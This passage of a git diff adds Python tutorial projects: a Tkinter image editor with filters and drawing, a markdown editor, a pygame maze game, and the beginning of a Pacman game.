rotation_angle % 360 == 0: + rotation_angle = 0 + image = Image.open(file_path) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + rotated_image = image + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(rotated_image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Rotate Image Error', message='Please select an image to rotate!') + + + + +# function for applying filters to the opened image file +def apply_filter(filter): + global image, photo_image + try: + # check if the image has been flipped or rotated + if is_flipped: + # flip the original image left and right + flipped_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT) + # rotate the flipped image + rotated_image = flipped_image.rotate(rotation_angle) + # apply the filter to the rotated image + if filter == "Black and White": + rotated_image = ImageOps.grayscale(rotated_image) + elif filter == "Blur": + rotated_image = rotated_image.filter(ImageFilter.BLUR) + elif filter == "Contour": + rotated_image = rotated_image.filter(ImageFilter.CONTOUR) + elif filter == "Detail": + rotated_image = rotated_image.filter(ImageFilter.DETAIL) + elif filter == "Emboss": + rotated_image = rotated_image.filter(ImageFilter.EMBOSS) + elif filter == "Edge Enhance": + rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE) + elif filter == "Sharpen": + rotated_image = rotated_image.filter(ImageFilter.SHARPEN) + elif filter == "Smooth": + rotated_image = rotated_image.filter(ImageFilter.SMOOTH) + else: + rotated_image = Image.open(file_path).transpose(Image.FLIP_LEFT_RIGHT).rotate(rotation_angle) + + elif rotation_angle != 0: + # rotate the original image + rotated_image = Image.open(file_path).rotate(rotation_angle) + # apply the filter to the rotated image + if filter == "Black and White": + rotated_image = ImageOps.grayscale(rotated_image) + + elif filter == "Blur": + rotated_image = rotated_image.filter(ImageFilter.BLUR) + + elif filter == "Contour": + rotated_image = rotated_image.filter(ImageFilter.CONTOUR) + + elif filter == "Detail": + rotated_image = rotated_image.filter(ImageFilter.DETAIL) + + elif filter == "Emboss": + rotated_image = rotated_image.filter(ImageFilter.EMBOSS) + + elif filter == "Edge Enhance": + rotated_image = rotated_image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Sharpen": + rotated_image = rotated_image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + rotated_image = rotated_image.filter(ImageFilter.SMOOTH) + + else: + rotated_image = Image.open(file_path).rotate(rotation_angle) + + else: + # apply the filter to the original image + image = Image.open(file_path) + if filter == "Black and White": + image = ImageOps.grayscale(image) + + elif filter == "Blur": + image = image.filter(ImageFilter.BLUR) + + elif filter == "Sharpen": + image = image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + image = image.filter(ImageFilter.SMOOTH) + + elif filter == "Emboss": + image = image.filter(ImageFilter.EMBOSS) + + elif filter == "Detail": + image = image.filter(ImageFilter.DETAIL) + + + elif filter == "Edge Enhance": + image = image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Contour": + image = image.filter(ImageFilter.CONTOUR) + + + rotated_image = image + + # resize the rotated/flipped image to fit the canvas + new_width = int((WIDTH / 2)) + rotated_image = rotated_image.resize((new_width, HEIGHT), Image.LANCZOS) + # convert the PIL image to a Tkinter PhotoImage and display it on the canvas + photo_image = ImageTk.PhotoImage(rotated_image) + canvas.create_image(0, 0, anchor="nw", image=photo_image) + + except: + showerror(title='Error', message='Please select an image first!') + + + + +# function for drawing lines on the opened image +def draw(event): + global file_path + if file_path: + x1, y1 = (event.x - pen_size), (event.y - pen_size) + x2, y2 = (event.x + pen_size), (event.y + pen_size) + canvas.create_oval(x1, y1, x2, y2, fill=pen_color, outline="", width=pen_size, tags="oval") + + +# function for changing the pen color +def change_color(): + global pen_color + pen_color = colorchooser.askcolor(title="Select Pen Color")[1] + + + +# function for erasing lines on the opened image +def erase_lines(): + global file_path + if file_path: + canvas.delete("oval") + + + + +def save_image(): + global file_path, is_flipped, rotation_angle + + if file_path: + # create a new PIL Image object from the canvas + image = ImageGrab.grab(bbox=(canvas.winfo_rootx(), canvas.winfo_rooty(), canvas.winfo_rootx() + canvas.winfo_width(), canvas.winfo_rooty() + canvas.winfo_height())) + + # check if the image has been flipped or rotated + if is_flipped or rotation_angle % 360 != 0: + # Resize and rotate the image + new_width = int((WIDTH / 2)) + image = image.resize((new_width, HEIGHT), Image.LANCZOS) + if is_flipped: + image = image.transpose(Image.FLIP_LEFT_RIGHT) + if rotation_angle % 360 != 0: + image = image.rotate(rotation_angle) + + # update the file path to include the modifications in the file name + file_path = file_path.split(".")[0] + "_mod.jpg" + + # apply any filters to the image before saving + filter = filter_combobox.get() + if filter: + if filter == "Black and White": + image = ImageOps.grayscale(image) + + elif filter == "Blur": + image = image.filter(ImageFilter.BLUR) + + elif filter == "Sharpen": + image = image.filter(ImageFilter.SHARPEN) + + elif filter == "Smooth": + image = image.filter(ImageFilter.SMOOTH) + + elif filter == "Emboss": + image = image.filter(ImageFilter.EMBOSS) + + elif filter == "Detail": + image = image.filter(ImageFilter.DETAIL) + + elif filter == "Edge Enhance": + image = image.filter(ImageFilter.EDGE_ENHANCE) + + elif filter == "Contour": + image = image.filter(ImageFilter.CONTOUR) + + # update the file path to include the filter in the file name + file_path = file_path.split(".")[0] + "_" + filter.lower().replace(" ", "_") + ".jpg" + + # open file dialog to select save location and file type + file_path = filedialog.asksaveasfilename(defaultextension=".jpg") + + if file_path: + if askyesno(title='Save Image', message='Do you want to save this image?'): + # save the image to a file + image.save(file_path) + + + + +root = ttk.Window(themename="cosmo") +root.title("Image Editor") +root.geometry("510x580+300+110") +root.resizable(0, 0) +icon = ttk.PhotoImage(file='icon.png') +root.iconphoto(False, icon) + +# the left frame to contain the 4 buttons +left_frame = ttk.Frame(root, width=200, height=600) +left_frame.pack(side="left", fill="y") + +# the right canvas for displaying the image +canvas = ttk.Canvas(root, width=WIDTH, height=HEIGHT) +canvas.pack() +# binding the Canvas to the B1-Motion event +canvas.bind("", draw) + +# label +filter_label = ttk.Label(left_frame, text="Select Filter:", background="white") +filter_label.pack(padx=0, pady=2) + +# a list of filters +image_filters = ["Contour", "Black and White", "Blur", "Detail", "Emboss", "Edge Enhance", "Sharpen", "Smooth"] + +# combobox for the filters +filter_combobox = ttk.Combobox(left_frame, values=image_filters, width=15) +filter_combobox.pack(padx=10, pady=5) + +# binding the apply_filter function to the combobox +filter_combobox.bind("<>", lambda event: apply_filter(filter_combobox.get())) + +# loading the icons for the 4 buttons +image_icon = ttk.PhotoImage(file = 'add.png').subsample(12, 12) +flip_icon = ttk.PhotoImage(file = 'flip.png').subsample(12, 12) +rotate_icon = ttk.PhotoImage(file = 'rotate.png').subsample(12, 12) +color_icon = ttk.PhotoImage(file = 'color.png').subsample(12, 12) +erase_icon = ttk.PhotoImage(file = 'erase.png').subsample(12, 12) +save_icon = ttk.PhotoImage(file = 'saved.png').subsample(12, 12) + +# button for adding/opening the image file +image_button = ttk.Button(left_frame, image=image_icon, bootstyle="light", command=open_image) +image_button.pack(pady=5) +# button for flipping the image file +flip_button = ttk.Button(left_frame, image=flip_icon, bootstyle="light", command=flip_image) +flip_button.pack(pady=5) +# button for rotating the image file +rotate_button = ttk.Button(left_frame, image=rotate_icon, bootstyle="light", command=rotate_image) +rotate_button.pack(pady=5) +# button for choosing pen color +color_button = ttk.Button(left_frame, image=color_icon, bootstyle="light", command=change_color) +color_button.pack(pady=5) +# button for erasing the lines drawn over the image file +erase_button = ttk.Button(left_frame, image=erase_icon, bootstyle="light", command=erase_lines) +erase_button.pack(pady=5) +# button for saving the image file +save_button = ttk.Button(left_frame, image=save_icon, bootstyle="light", command=save_image) +save_button.pack(pady=5) + +root.mainloop() diff --git a/gui-programming/image-editor/icon.png b/gui-programming/image-editor/icon.png new file mode 100644 index 00000000..98bbcc10 Binary files /dev/null and b/gui-programming/image-editor/icon.png differ diff --git a/gui-programming/image-editor/requirements.txt b/gui-programming/image-editor/requirements.txt new file mode 100644 index 00000000..95853d43 --- /dev/null +++ b/gui-programming/image-editor/requirements.txt @@ -0,0 +1,2 @@ +pillow +ttkbootstrap diff --git a/gui-programming/image-editor/rotate.png b/gui-programming/image-editor/rotate.png new file mode 100644 index 00000000..1e0dec7a Binary files /dev/null and b/gui-programming/image-editor/rotate.png differ diff --git a/gui-programming/image-editor/saved.png b/gui-programming/image-editor/saved.png new file mode 100644 index 00000000..4ebeca50 Binary files /dev/null and b/gui-programming/image-editor/saved.png differ diff --git a/gui-programming/image-editor/test.jpg b/gui-programming/image-editor/test.jpg new file mode 100644 index 00000000..ffc753c7 Binary files /dev/null and b/gui-programming/image-editor/test.jpg differ diff --git a/gui-programming/markdown-editor/README.md b/gui-programming/markdown-editor/README.md new file mode 100644 index 00000000..250aaa08 --- /dev/null +++ b/gui-programming/markdown-editor/README.md @@ -0,0 +1 @@ +# [How to Make a Markdown Editor using Tkinter in Python](https://www.thepythoncode.com/article/markdown-editor-with-tkinter-in-python) \ No newline at end of file diff --git a/gui-programming/markdown-editor/markdown_editor.py b/gui-programming/markdown-editor/markdown_editor.py new file mode 100644 index 00000000..3f2991e5 --- /dev/null +++ b/gui-programming/markdown-editor/markdown_editor.py @@ -0,0 +1,176 @@ +# Imports +from tkinter import * +import ctypes +import re + +# Increas Dots Per inch so it looks sharper +ctypes.windll.shcore.SetProcessDpiAwareness(True) + +# Setup +root = Tk() +root.title('Markdown Editor') +root.geometry('1000x600') + +# Setting the Font globaly +root.option_add('*Font', 'Courier 15') + + +def changes(event=None): + display['state'] = NORMAL + + # Clear the Display Area + display.delete(1.0, END) + + # Insert the content of the Edit Area into the Display Area + text = editor.get('1.0', END) + + # Save Raw Text for later + textRaw = text + + # Remove Unwanted Characters + text = ''.join(text.split('#')) + text = ''.join(text.split('*')) + + display.insert(1.0, text) + + # Loop through each replacement, unpacking it fully + for pattern, name, fontData, colorData, offset in replacements: + + # Get the location indices of the given pattern + locations = search_re(pattern, textRaw, offset) + + print(f'{name} at {locations}') + + # Add tags where the search_re function found the pattern + for start, end in locations: + display.tag_add(name, start, end) + + # Configure the tag to use the specified font and color + # to this every time to delete the previous tags + display.tag_config(name, font=fontData, foreground=colorData) + + display['state'] = DISABLED + +def search_re(pattern, text, offset): + matches = [] + text = text.splitlines() + for i, line in enumerate(text): + for match in re.finditer(pattern, line): + matches.append( + (f"{i + 1}.{match.start()}", f"{i + 1}.{match.end() - offset}") + ) + + return matches + +# Convert an RGB tuple to a HEX string using the % Operator +# 02 means print 2 characters +# x means hexadecimal +def rgbToHex(rgb): + return "#%02x%02x%02x" % rgb + +# Style Setup +editorBackground = rgbToHex((40, 40, 40)) +editorTextColor = rgbToHex((230, 230, 230)) +displayBackground = rgbToHex((60, 60, 60)) +displayTextColor = rgbToHex((200, 200, 200)) + +caretColor = rgbToHex((255, 255, 255)) + +# Width of the Textareas in characters +width = 10 + +# Fonts +editorfontName = 'Courier' +displayFontName = 'Calibri' + +# Font Sizes +normalSize = 15 +h1Size = 40 +h2Size = 30 +h3Size = 20 + +# font Colors +h1Color = rgbToHex((240, 240, 240)) +h2Color = rgbToHex((200, 200, 200)) +h3Color = rgbToHex((160, 160, 160)) + +# Replacements tell us were to insert tags with the font and colors given +replacements = [ + [ + '^#[a-zA-Z\s\d\?\!\.]+$', + 'Header 1', + f'{displayFontName} {h1Size}', + h1Color, + 0 + ], [ + '^##[a-zA-Z\s\d\?\!\.]+$', + 'Header 2', + f'{displayFontName} {h2Size}', + h2Color, + 0 + ], [ + '^###[a-zA-Z\s\d\?\!\.]+$', + 'Header 3', + f'{displayFontName} {h3Size}', + h3Color, + 0 + ], [ + '\*.+?\*', + 'Bold', + f'{displayFontName} {normalSize} bold', + displayTextColor, + 2 + ], +] + +# Making the Editor Area +editor = Text( + root, + height=5, + width=width, + bg=editorBackground, + fg=editorTextColor, + border=30, + relief=FLAT, + insertbackground=caretColor +) +editor.pack(expand=1, fill=BOTH, side=LEFT) + +# Bind so every change is registered +editor.bind('', changes) +editor.focus_set() + +# Insert a starting text +editor.insert(INSERT, """#Heading 1 + +##Heading 2 + +###Heading 3 + +This is a *bold* move! + + +- Markdown Editor - + +""") + +# Making the Display Area +display = Text( + root, + height=5, + width=width, + bg=displayBackground, + fg=displayTextColor, + border=30, + relief=FLAT, + font=f"{displayFontName} {normalSize}", +) +display.pack(expand=1, fill=BOTH, side=LEFT) + +# Disable the Display Area so the user cant write in it +# We will have to toggle it so we can insert text +display['state'] = DISABLED + +# Starting the Application +changes() +root.mainloop() diff --git a/gui-programming/maze-game/README.md b/gui-programming/maze-game/README.md new file mode 100644 index 00000000..5c6a2cd8 --- /dev/null +++ b/gui-programming/maze-game/README.md @@ -0,0 +1 @@ +# [How to Make a Maze Game in Python](https://www.thepythoncode.com/article/build-a-maze-game-in-python) \ No newline at end of file diff --git a/gui-programming/maze-game/cell.py b/gui-programming/maze-game/cell.py new file mode 100644 index 00000000..5cbf4963 --- /dev/null +++ b/gui-programming/maze-game/cell.py @@ -0,0 +1,45 @@ +import pygame +from random import choice + +class Cell: + def __init__(self, x, y, thickness): + self.x, self.y = x, y + self.thickness = thickness + self.walls = {'top': True, 'right': True, 'bottom': True, 'left': True} + self.visited = False + + # draw grid cell walls + def draw(self, sc, tile): + x, y = self.x * tile, self.y * tile + if self.walls['top']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y), (x + tile, y), self.thickness) + if self.walls['right']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y), (x + tile, y + tile), self.thickness) + if self.walls['bottom']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x + tile, y + tile), (x , y + tile), self.thickness) + if self.walls['left']: + pygame.draw.line(sc, pygame.Color('darkgreen'), (x, y + tile), (x, y), self.thickness) + + # checks if cell does exist and returns it if it does + def check_cell(self, x, y, cols, rows, grid_cells): + find_index = lambda x, y: x + y * cols + if x < 0 or x > cols - 1 or y < 0 or y > rows - 1: + return False + return grid_cells[find_index(x, y)] + + # checking cell neighbors of current cell if visited (carved) or not + def check_neighbors(self, cols, rows, grid_cells): + neighbors = [] + top = self.check_cell(self.x, self.y - 1, cols, rows, grid_cells) + right = self.check_cell(self.x + 1, self.y, cols, rows, grid_cells) + bottom = self.check_cell(self.x, self.y + 1, cols, rows, grid_cells) + left = self.check_cell(self.x - 1, self.y, cols, rows, grid_cells) + if top and not top.visited: + neighbors.append(top) + if right and not right.visited: + neighbors.append(right) + if bottom and not bottom.visited: + neighbors.append(bottom) + if left and not left.visited: + neighbors.append(left) + return choice(neighbors) if neighbors else False diff --git a/gui-programming/maze-game/clock.py b/gui-programming/maze-game/clock.py new file mode 100644 index 00000000..1686aa7f --- /dev/null +++ b/gui-programming/maze-game/clock.py @@ -0,0 +1,30 @@ +import pygame, time + +pygame.font.init() + +class Clock: + def __init__(self): + self.start_time = None + self.elapsed_time = 0 + self.font = pygame.font.SysFont("monospace", 35) + self.message_color = pygame.Color("yellow") + + # Start the timer + def start_timer(self): + self.start_time = time.time() + + # Update the timer + def update_timer(self): + if self.start_time is not None: + self.elapsed_time = time.time() - self.start_time + + # Display the timer + def display_timer(self): + secs = int(self.elapsed_time % 60) + mins = int(self.elapsed_time / 60) + my_time = self.font.render(f"{mins:02}:{secs:02}", True, self.message_color) + return my_time + + # Stop the timer + def stop_timer(self): + self.start_time = None diff --git a/gui-programming/maze-game/game.py b/gui-programming/maze-game/game.py new file mode 100644 index 00000000..13815ad5 --- /dev/null +++ b/gui-programming/maze-game/game.py @@ -0,0 +1,31 @@ +import pygame + +pygame.font.init() + +class Game: + def __init__(self, goal_cell, tile): + self.font = pygame.font.SysFont("impact", 35) + self.message_color = pygame.Color("darkorange") + self.goal_cell = goal_cell + self.tile = tile + + # add goal point for player to reach + def add_goal_point(self, screen): + # adding gate for the goal point + img_path = 'img/gate.png' + img = pygame.image.load(img_path) + img = pygame.transform.scale(img, (self.tile, self.tile)) + screen.blit(img, (self.goal_cell.x * self.tile, self.goal_cell.y * self.tile)) + + # winning message + def message(self): + msg = self.font.render('You Win!!', True, self.message_color) + return msg + + # checks if player reached the goal point + def is_game_over(self, player): + goal_cell_abs_x, goal_cell_abs_y = self.goal_cell.x * self.tile, self.goal_cell.y * self.tile + if player.x >= goal_cell_abs_x and player.y >= goal_cell_abs_y: + return True + else: + return False \ No newline at end of file diff --git a/gui-programming/maze-game/img/gate.png b/gui-programming/maze-game/img/gate.png new file mode 100644 index 00000000..c088b640 Binary files /dev/null and b/gui-programming/maze-game/img/gate.png differ diff --git a/gui-programming/maze-game/main.py b/gui-programming/maze-game/main.py new file mode 100644 index 00000000..8ef89a63 --- /dev/null +++ b/gui-programming/maze-game/main.py @@ -0,0 +1,114 @@ +import pygame, sys +from maze import Maze +from player import Player +from game import Game +from clock import Clock + +pygame.init() +pygame.font.init() + +class Main(): + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("impact", 30) + self.message_color = pygame.Color("cyan") + self.running = True + self.game_over = False + self.FPS = pygame.time.Clock() + + def instructions(self): + instructions1 = self.font.render('Use', True, self.message_color) + instructions2 = self.font.render('Arrow Keys', True, self.message_color) + instructions3 = self.font.render('to Move', True, self.message_color) + self.screen.blit(instructions1,(655,300)) + self.screen.blit(instructions2,(610,331)) + self.screen.blit(instructions3,(630,362)) + + # draws all configs; maze, player, instructions, and time + def _draw(self, maze, tile, player, game, clock): + # draw maze + [cell.draw(self.screen, tile) for cell in maze.grid_cells] + + # add a goal point to reach + game.add_goal_point(self.screen) + + # draw every player movement + player.draw(self.screen) + player.update() + + # instructions, clock, winning message + self.instructions() + if self.game_over: + clock.stop_timer() + self.screen.blit(game.message(),(610,120)) + else: + clock.update_timer() + self.screen.blit(clock.display_timer(), (625,200)) + + pygame.display.flip() + + # main game loop + def main(self, frame_size, tile): + cols, rows = frame_size[0] // tile, frame_size[-1] // tile + maze = Maze(cols, rows) + game = Game(maze.grid_cells[-1], tile) + player = Player(tile // 3, tile // 3) + clock = Clock() + + maze.generate_maze() + clock.start_timer() + while self.running: + self.screen.fill("gray") + self.screen.fill( pygame.Color("darkslategray"), (603, 0, 752, 752)) + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + # if keys were pressed still + if event.type == pygame.KEYDOWN: + if not self.game_over: + if event.key == pygame.K_LEFT: + player.left_pressed = True + if event.key == pygame.K_RIGHT: + player.right_pressed = True + if event.key == pygame.K_UP: + player.up_pressed = True + if event.key == pygame.K_DOWN: + player.down_pressed = True + player.check_move(tile, maze.grid_cells, maze.thickness) + + # if pressed key released + if event.type == pygame.KEYUP: + if not self.game_over: + if event.key == pygame.K_LEFT: + player.left_pressed = False + if event.key == pygame.K_RIGHT: + player.right_pressed = False + if event.key == pygame.K_UP: + player.up_pressed = False + if event.key == pygame.K_DOWN: + player.down_pressed = False + player.check_move(tile, maze.grid_cells, maze.thickness) + + if game.is_game_over(player): + self.game_over = True + player.left_pressed = False + player.right_pressed = False + player.up_pressed = False + player.down_pressed = False + + self._draw(maze, tile, player, game, clock) + self.FPS.tick(60) + + +if __name__ == "__main__": + window_size = (602, 602) + screen = (window_size[0] + 150, window_size[-1]) + tile_size = 30 + screen = pygame.display.set_mode(screen) + pygame.display.set_caption("Maze") + + game = Main(screen) + game.main(window_size, tile_size) diff --git a/gui-programming/maze-game/maze.py b/gui-programming/maze-game/maze.py new file mode 100644 index 00000000..69384699 --- /dev/null +++ b/gui-programming/maze-game/maze.py @@ -0,0 +1,44 @@ +import pygame +from cell import Cell + +class Maze: + def __init__(self, cols, rows): + self.cols = cols + self.rows = rows + self.thickness = 4 + self.grid_cells = [Cell(col, row, self.thickness) for row in range(self.rows) for col in range(self.cols)] + + # carve grid cell walls + def remove_walls(self, current, next): + dx = current.x - next.x + if dx == 1: + current.walls['left'] = False + next.walls['right'] = False + elif dx == -1: + current.walls['right'] = False + next.walls['left'] = False + dy = current.y - next.y + if dy == 1: + current.walls['top'] = False + next.walls['bottom'] = False + elif dy == -1: + current.walls['bottom'] = False + next.walls['top'] = False + + # generates maze + def generate_maze(self): + current_cell = self.grid_cells[0] + array = [] + break_count = 1 + while break_count != len(self.grid_cells): + current_cell.visited = True + next_cell = current_cell.check_neighbors(self.cols, self.rows, self.grid_cells) + if next_cell: + next_cell.visited = True + break_count += 1 + array.append(current_cell) + self.remove_walls(current_cell, next_cell) + current_cell = next_cell + elif array: + current_cell = array.pop() + return self.grid_cells diff --git a/gui-programming/maze-game/player.py b/gui-programming/maze-game/player.py new file mode 100644 index 00000000..0a671268 --- /dev/null +++ b/gui-programming/maze-game/player.py @@ -0,0 +1,66 @@ +import pygame + +class Player: + def __init__(self, x, y): + self.x = int(x) + self.y = int(y) + self.player_size = 10 + self.rect = pygame.Rect(self.x, self.y, self.player_size, self.player_size) + self.color = (250, 120, 60) + self.velX = 0 + self.velY = 0 + self.left_pressed = False + self.right_pressed = False + self.up_pressed = False + self.down_pressed = False + self.speed = 4 + + # get current cell position of the player + def get_current_cell(self, x, y, grid_cells): + for cell in grid_cells: + if cell.x == x and cell.y == y: + return cell + + # stops player to pass through walls + def check_move(self, tile, grid_cells, thickness): + current_cell_x, current_cell_y = self.x // tile, self.y // tile + current_cell = self.get_current_cell(current_cell_x, current_cell_y, grid_cells) + current_cell_abs_x, current_cell_abs_y = current_cell_x * tile, current_cell_y * tile + if self.left_pressed: + if current_cell.walls['left']: + if self.x <= current_cell_abs_x + thickness: + self.left_pressed = False + if self.right_pressed: + if current_cell.walls['right']: + if self.x >= current_cell_abs_x + tile - (self.player_size + thickness): + self.right_pressed = False + if self.up_pressed: + if current_cell.walls['top']: + if self.y <= current_cell_abs_y + thickness: + self.up_pressed = False + if self.down_pressed: + if current_cell.walls['bottom']: + if self.y >= current_cell_abs_y + tile - (self.player_size + thickness): + self.down_pressed = False + + # drawing player to the screen + def draw(self, screen): + pygame.draw.rect(screen, self.color, self.rect) + + # updates player position while moving + def update(self): + self.velX = 0 + self.velY = 0 + if self.left_pressed and not self.right_pressed: + self.velX = -self.speed + if self.right_pressed and not self.left_pressed: + self.velX = self.speed + if self.up_pressed and not self.down_pressed: + self.velY = -self.speed + if self.down_pressed and not self.up_pressed: + self.velY = self.speed + + self.x += self.velX + self.y += self.velY + + self.rect = pygame.Rect(int(self.x), int(self.y), self.player_size, self.player_size) \ No newline at end of file diff --git a/gui-programming/maze-game/requirements.txt b/gui-programming/maze-game/requirements.txt new file mode 100644 index 00000000..231dd178 --- /dev/null +++ b/gui-programming/maze-game/requirements.txt @@ -0,0 +1 @@ +pygame \ No newline at end of file diff --git a/gui-programming/pacman-game/README.md b/gui-programming/pacman-game/README.md new file mode 100644 index 00000000..b57339e5 --- /dev/null +++ b/gui-programming/pacman-game/README.md @@ -0,0 +1 @@ +# [How to Make a Pacman Game with Python](https://thepythoncode.com/article/creating-pacman-game-with-python) \ No newline at end of file diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc new file mode 100644 index 00000000..ddbae820 Binary files /dev/null and b/gui-programming/pacman-game/__pycache__/animation.cpython-310.pyc differ diff --git a/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc b/gui-programming/pacman-game/__pycache__/animation.cpython-39.pyc new file mode 100644 index 00000000..5ad6cc32 Binary files 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a/gui-programming/pacman-game/assets/pac/up/1.png b/gui-programming/pacman-game/assets/pac/up/1.png new file mode 100644 index 00000000..dee79f95 Binary files /dev/null and b/gui-programming/pacman-game/assets/pac/up/1.png differ diff --git a/gui-programming/pacman-game/berry.py b/gui-programming/pacman-game/berry.py new file mode 100644 index 00000000..75ca0441 --- /dev/null +++ b/gui-programming/pacman-game/berry.py @@ -0,0 +1,20 @@ +import pygame + +from settings import CHAR_SIZE, PLAYER_SPEED + +class Berry(pygame.sprite.Sprite): + def __init__(self, row, col, size, is_power_up = False): + super().__init__() + self.power_up = is_power_up + self.size = size + self.color = pygame.Color("violetred") + self.thickness = size + self.abs_x = (row * CHAR_SIZE) + (CHAR_SIZE // 2) + self.abs_y = (col * CHAR_SIZE) + (CHAR_SIZE // 2) + + # temporary rect for colliderect-checking + self.rect = pygame.Rect(self.abs_x,self.abs_y, self.size * 2, self.size * 2) + + def update(self, screen): + self.rect = pygame.draw.circle(screen, self.color, (self.abs_x, self.abs_y), self.size, self.thickness) + diff --git a/gui-programming/pacman-game/cell.py b/gui-programming/pacman-game/cell.py new file mode 100644 index 00000000..dc17bd93 --- /dev/null +++ b/gui-programming/pacman-game/cell.py @@ -0,0 +1,17 @@ +import pygame + +class Cell(pygame.sprite.Sprite): + def __init__(self, row, col, length, width): + super().__init__() + self.width = length + self.height = width + self.id = (row, col) + self.abs_x = row * self.width + self.abs_y = col * self.height + + self.rect = pygame.Rect(self.abs_x,self.abs_y,self.width,self.height) + + self.occupying_piece = None + + def update(self, screen): + pygame.draw.rect(screen, pygame.Color("blue2"), self.rect) \ No newline at end of file diff --git a/gui-programming/pacman-game/display.py b/gui-programming/pacman-game/display.py new file mode 100644 index 00000000..83c943c8 --- /dev/null +++ b/gui-programming/pacman-game/display.py @@ -0,0 +1,40 @@ +import pygame + +from settings import WIDTH, HEIGHT, CHAR_SIZE + +pygame.font.init() + +class Display: + def __init__(self, screen): + self.screen = screen + self.font = pygame.font.SysFont("ubuntumono", CHAR_SIZE) + self.game_over_font = pygame.font.SysFont("dejavusansmono", 48) + self.text_color = pygame.Color("crimson") + + def show_life(self, life): + img_path = "assets/life/life.png" + life_image = pygame.image.load(img_path) + life_image = pygame.transform.scale(life_image, (CHAR_SIZE, CHAR_SIZE)) + life_x = CHAR_SIZE // 2 + + if life != 0: + for life in range(life): + self.screen.blit(life_image, (life_x, HEIGHT + (CHAR_SIZE // 2))) + life_x += CHAR_SIZE + + def show_level(self, level): + level_x = WIDTH // 3 + level = self.font.render(f'Level {level}', True, self.text_color) + self.screen.blit(level, (level_x, (HEIGHT + (CHAR_SIZE // 2)))) + + def show_score(self, score): + score_x = WIDTH // 3 + score = self.font.render(f'{score}', True, self.text_color) + self.screen.blit(score, (score_x * 2, (HEIGHT + (CHAR_SIZE // 2)))) + + # add game over message + def game_over(self): + message = self.game_over_font.render(f'GAME OVER!!', True, pygame.Color("chartreuse")) + instruction = self.font.render(f'Press "R" to Restart', True, pygame.Color("aqua")) + self.screen.blit(message, ((WIDTH // 4), (HEIGHT // 3))) + self.screen.blit(instruction, ((WIDTH // 4), (HEIGHT // 2))) \ No newline at end of file diff --git a/gui-programming/pacman-game/ghost.py b/gui-programming/pacman-game/ghost.py new file mode 100644 index 00000000..27d29cb7 --- /dev/null +++ b/gui-programming/pacman-game/ghost.py @@ -0,0 +1,70 @@ +import pygame +import random +import time + +from settings import WIDTH, CHAR_SIZE, GHOST_SPEED + +class Ghost(pygame.sprite.Sprite): + def __init__(self, row, col, color): + super().__init__() + self.abs_x = (row * CHAR_SIZE) + self.abs_y = (col * CHAR_SIZE) + + self.rect = pygame.Rect(self.abs_x, self.abs_y, CHAR_SIZE, CHAR_SIZE) + self.move_speed = GHOST_SPEED + self.color = pygame.Color(color) + self.move_directions = [(-1,0), (0,-1), (1,0), (0,1)] + + self.moving_dir = "up" + self.img_path = f'assets/ghosts/{color}/' + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft = (self.abs_x, self.abs_y)) + self.mask = pygame.mask.from_surface(self.image) + + self.directions = {'left': (-self.move_speed, 0), 'right': (self.move_speed, 0), 'up': (0, -self.move_speed), 'down': (0, self.move_speed)} + self.keys = ['left', 'right', 'up', 'down'] + self.direction = (0, 0) + + def move_to_start_pos(self): + self.rect.x = self.abs_x + self.rect.y = self.abs_y + + def is_collide(self, x, y, walls_collide_list): + tmp_rect = self.rect.move(x, y) + if tmp_rect.collidelist(walls_collide_list) == -1: + return False + return True + + def _animate(self): + self.img_name = f'{self.moving_dir}.png' + self.image = pygame.image.load(self.img_path + self.img_name) + self.image = pygame.transform.scale(self.image, (CHAR_SIZE, CHAR_SIZE)) + self.rect = self.image.get_rect(topleft=(self.rect.x, self.rect.y)) + + def update(self, walls_collide_list): + # ghost movement + available_moves = [] + for key in self.keys: + if not self.is_collide(*self.directions[key], walls_collide_list): + available_moves.append(key) + + randomizing = False if len(available_moves) <= 2 and self.direction != (0,0) else True + # 60% chance of randomizing ghost move + if randomizing and random.randrange( 0,100 ) <= 60: + self.moving_dir = random.choice(available_moves) + self.direction = self.directions[self.moving_dir] + + if not self.is_collide(*self.direction, walls_collide_list): + self.rect.move_ip(self.direction) + else: + self.direction = (0,0) + + # teleporting to the other side of the map + if self.rect.right <= 0: + self.rect.x = WIDTH + elif self.rect.left >= WIDTH: + self.rect.x = 0 + + self._animate() diff --git a/gui-programming/pacman-game/main.py b/gui-programming/pacman-game/main.py new file mode 100644 index 00000000..738c989f --- /dev/null +++ b/gui-programming/pacman-game/main.py @@ -0,0 +1,32 @@ +import pygame, sys +from settings import WIDTH, HEIGHT, NAV_HEIGHT +from world import World + +pygame.init() + +screen = pygame.display.set_mode((WIDTH, HEIGHT + NAV_HEIGHT)) +pygame.display.set_caption("PacMan") + +class Main: + def __init__(self, screen): + self.screen = screen + self.FPS = pygame.time.Clock() + + def main(self): + world = World(self.screen) + while True: + self.screen.fill("black") + + for event in pygame.event.get(): + if event.type == pygame.QUIT: + pygame.quit() + sys.exit() + + world.update() + pygame.display.update() + self.FPS.tick(30) + + +if __name__ == "__main__": + play = Main(screen) + play.main() \ No newline at end of file diff --git a/gui-programming/pacman-game/pac.py b/gui-programming/pacman-game/pac.py new file mode 100644 index 00000000..c7b7242a --- /dev/null +++ b/gui-programming/pacman-game/pac.py @@ -0,0 +1,93 @@ +import pygame + +from settings import 